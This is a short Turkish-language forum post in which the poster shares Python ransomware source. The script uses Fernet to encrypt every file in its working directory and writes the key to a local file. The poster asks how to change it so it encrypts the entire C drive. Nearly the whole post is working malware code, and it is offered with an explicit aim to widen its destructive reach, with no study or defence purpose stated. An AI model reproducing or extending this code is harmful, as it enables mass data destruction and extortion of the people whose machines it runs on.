Fidye Yazılımı

Arkadaşlar selamunaleyküm şuan elimde bulunduğu dizini şifreleyen bir fidye yazılımı var bunu ben tüm c diskini şifreleyecek şekilde nasıl revize edebilirim
Kod ;
#!/usr/bin/env/ python3

import os
from cryptography.fernet import Fernet

files = []

for file in os.listdir():
if file == "ransom.py" or file == "generatedkey.key" or file == "ransomdecrypter.py":
continue #do not encrypt the current file we are working with or the key
if os.path.isfile(file):
files.append(file) #do not add if this is a directory, only if a file

print(files)

key = Fernet.generate_key()

print(key)

with open("generatedkey.key","wb") as generatedkey:
generatedkey.write(key)

for file in files:
with open(file,"rb") as the_file:
contents = the_file.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file,"wb") as the_file:
the_file.write(contents_encrypted)